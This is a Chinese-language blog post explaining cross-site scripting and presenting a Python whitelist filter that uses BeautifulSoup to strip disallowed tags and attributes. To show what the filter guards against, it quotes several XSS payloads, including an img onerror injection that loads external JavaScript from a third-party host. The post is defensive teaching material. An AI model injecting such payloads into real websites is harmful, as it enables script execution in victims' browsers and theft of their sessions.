python实现XSS过滤(BeautifulSoup和白名单处理)

下面我做的莫名其妙的代码格式化是因为这个 --。--

首先大致说一下XSS,就是在HTML里插入恶意的javascript代码,使得在该HTML加载时执行恶意代码,达到攻击的目的。

可能存在的地方呢,就是只要是用户能输入的地方那么就可能产生XSS,包括像博客园这种能看到输入形成的HTML的编辑器。

下面是博客园的过滤手段。(注意最后一行)

 当然不止这些写法,比如<img src=0 onerror=alert(1)>这些<tag on*=*/>事件,或者说下面这种“借刀杀人法”<script src="JS地址"></script>。

甚至可以用图片方式来动态加载外部js。

<img style=display:none src=1

onerror='var s=document.createElement("script");

s.src="http://xsst.sinaapp.com/m.js";

(document.body||document.documentElement).appendChild(s);' />

 

那当我们回看前面写的这几种方式的时候,可以 发现几个标签或属性特别显眼

<script>、<src>、<on*>事件,

那么我们就可以设置只允许某几个标签通过。(黑名单不安全,毕竟只有你想不到。没有别人做不到。)

 

下面说说怎么过滤,现在可能直接想到的,用正则表达式,这当然可以,只不过比较难设计,那我们先用BeautifulSoup来处理HTML,再来过滤敏感标签。

content="""
<p class='c1' id='i1'>
    asdfaa<span style="font-family:NSimSun;">sdf<a>a</a>sdf</span>sdf
</p>
<p>
    <strong class='c2' id='i2'>asdf</strong>
    <script>alert(123)</script>
</p>
<h2>
    asdf
</h2>
"""
# 这儿当做是安全的标签,同时也指定了安全的属性。
tags = {
    'p': ['class'],
    'strong': ['id',]
}
from bs4 import BeautifulSoup
soup = BeautifulSoup(content, 'html.parser') # BeautifulSoup自带的html解释器

for tag in soup.find_all():
    if tag.name in tags:
        pass
    else:
        tag.hidden = True # 将标签隐藏
        tag.clear()            # 删除标签里的内容
        continue

    # 用户提交数据的所有属性
    input_attrs = tag.attrs      # {'class': 'c1', 'id': 'i1'}字典
    valid_attrs = tags[tag.name]  #['class']列表

    # input_attrs.keys()  生成的是一个迭代器
        # 注意下面这种写法,在迭代器里是不能删字典里某个键值对的,因为这样破坏了迭
        # 代器。

    for k in list(input_attrs.keys()):
        if k in valid_attrs:
            pass
        else:
            # 删除某个标签的某一个属性
            del tag.attrs[k]
# decode为HTML形式。
content = soup.decode()
print(content)

 

posted @ 2018-01-12 21:12  NoYone  阅读(962)  评论(0编辑  收藏  举报